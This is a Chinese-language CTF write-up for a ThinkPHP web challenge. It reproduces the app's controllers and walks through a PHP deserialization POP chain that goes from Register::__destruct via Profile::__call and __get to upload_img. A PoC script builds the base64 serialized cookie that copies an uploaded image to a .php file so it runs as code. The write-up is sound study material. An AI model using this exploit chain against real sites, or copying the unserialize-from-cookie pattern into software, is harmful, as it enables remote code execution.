参考链接:https://blog.csdn.net/qq_41173457/article/details/90724943

https://blog.csdn.net/qq_26406447/article/details/90671853

注意 只要namespace相同那就可以直接实例化同一namespace的类,至少在本题环境下是这样,所以可以在访问Index.php反序化影响到Regeister.php

 <?php
namespace app\web\controller;
use think\Controller; class Index extends Controller
{
public $profile;
public $profile_db; public function index()
{
if($this->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
$this->redirect($curr_url,302);
exit();
}
return $this->fetch("index");
} public function home(){
if(!$this->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
} if(!$this->check_upload_img()){
$this->assign("username",$this->profile_db['username']);
return $this->fetch("upload");
}else{
$this->assign("img",$this->profile_db['img']);
$this->assign("username",$this->profile_db['username']);
return $this->fetch("home");
}
} public function login_check(){
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
} public function check_upload_img(){
if(!empty($this->profile) && !empty($this->profile_db)){
if(empty($this->profile_db['img'])){
return 0;
}else{
return 1;
}
}
} public function logout(){
cookie("user",null);
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
} public function __get($name)
{
return "";
} }

Index.php

<?php
namespace app\web\controller;//只是一个namespace 与下面的use无关 use think\Controller; //导入namespace 名为think下的 Controller 类 class Profile extends Controller
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except; public function __construct()
{
$this->checker=new Index();
$this->upload_menu=md5($_SERVER['REMOTE_ADDR']);
@chdir("../public/upload");
if(!is_dir($this->upload_menu)){
@mkdir($this->upload_menu);
}
@chdir($this->upload_menu);
} public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
} if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
} public function update_img(){
$user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
if(empty($user_info['img']) && $this->img){
if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
$this->update_cookie();
$this->success('Upload img successful!', url('../home'));
}else{
$this->error('Upload file failed!', url('../index'));
}
}
} public function update_cookie(){
$this->checker->profile['img']=$this->img;
cookie("user",base64_encode(serialize($this->checker->profile)),3600);
} public function ext_check(){
$ext_arr=explode(".",$this->filename);
$this->ext=end($ext_arr);
if($this->ext=="png"){
return 1;
}else{
return 0;
}
} public function __get($name)
{
return $this->except[$name];
} public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
} }

profile.php

<?php
namespace app\web\controller;
use think\Controller; class Register extends Controller
{
public $checker;
public $registed; public function __construct()
{
$this->checker=new Index();
}
/*public function __construct()
{
$this->checker=new Profile(); }*/
public function register()
{
if ($this->checker) {
if($this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
$this->redirect($curr_url,302);
exit();
}
}
if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {
$email = input("post.email", "", "addslashes");
$password = input("post.password", "", "addslashes");
$username = input("post.username", "", "addslashes");
if($this->check_email($email)) {
if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {
$user_info = ["email" => $email, "password" => md5($password), "username" => $username];
if (db("user")->insert($user_info)) {
$this->registed = 1;
$this->success('Registed successful!', url('../index'));
} else {
$this->error('Registed failed!', url('../index'));
}
} else {
$this->error('Account already exists!', url('../index'));
}
}else{
$this->error('Email illegal!', url('../index'));
}
} else {
$this->error('Something empty!', url('../index'));
}
} public function check_email($email){
$pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";
preg_match($pattern, $email, $matches);
if(empty($matches)){
return 0;
}else{
return 1;
}
} public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
} }

Register.php

<?php
namespace app\web\controller;
use think\Controller; class Login extends Controller
{
public $checker; public function __construct()
{
$this->checker=new Index();
} public function login(){
if($this->checker){
if($this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
$this->redirect($curr_url,302);
exit();
}
}
if(input("?post.email") && input("?post.password")){
$email=input("post.email","","addslashes");
$password=input("post.password","","addslashes");
$user_info=db("user")->where("email",$email)->find();
if($user_info) {
if (md5($password) === $user_info['password']) {
$cookie_data=base64_encode(serialize($user_info));
cookie("user",$cookie_data,3600);
$this->success('Login successful!', url('../home'));
} else {
$this->error('Login failed!', url('../index'));
}
}else{
$this->error('email not registed!',url('../index'));
}
}else{
$this->error('email or password is null!',url('../index'));
}
} }

login.php

 

注意:1、的文通 Index.php 里namespace app\web\controller;和下面的 use think\Controller; 没关系 use think/Controller 中 Controller是一个类 ,它的namespace是think
   2、同一个namespce下可以直接实例化类不需要include\require(本题是如此,我在本地环境下实验是不行的)
poc:

<?php
namespace app\web\controller; class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except; }
class Register
{
public $checker;
public $registed;
}
$a = new Register();
$a->registed = 0;
$a->checker = new Profile();
$a->checker->except = ['index'=>'upload_img'];$a->checker->filename_tmp = './upload/bc9c0f21801e3928b868149bfb65e408/fb5c81ed3a220004b71069645f112867.png';
$a->checker->filename = './upload/bc9c0f21801e3928b868149bfb65e408/2.php';
$a->checker->ext = 1; echo base64_encode(serialize($a));

  之前做了一些题目 覆盖_dstruct()里面的调用类,巧的是调用的都是这样的:$this->checker->XX,然后我们就覆盖checker就行了

让反序列化的对象是Profile 让checker从new index() 变为 new Profile() ,调用index()方法,Profile没有index()方法从而调用__call 方法,

public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

$this->{$this->{$name}}($arguments); 这句我看不太懂 ,但是看得出来调用了$name 而$name 是不能/不存在被调用的方法名称,$this->index index也不存在,随之调用__get()方法 ,这时候上面poc中的 "$a->checker->except = ['index'=>'upload_img'];"发挥作用了,代码让__get()调用了upload_img(小细节:$this->方法名也可以调用函数)然后看upload_img()方法

public function upload_img(){
        if($this->checker){//$this->checker 不存在, 绕过
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

if(!empty($_FILES)){//$_FILES :我们没上传文件 空 绕过
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
        if($this->ext) {//ext=1 进入逻辑
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename;/*copy是复制第一个参数是文件,第二个参数是目的地 */ @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }
完成

此题是寻找pop链调用 image_upload() 绕过if 然后目的是 copy()这里,全程围绕调用 copy() 为中心(感觉是个病句)

05-29 00:19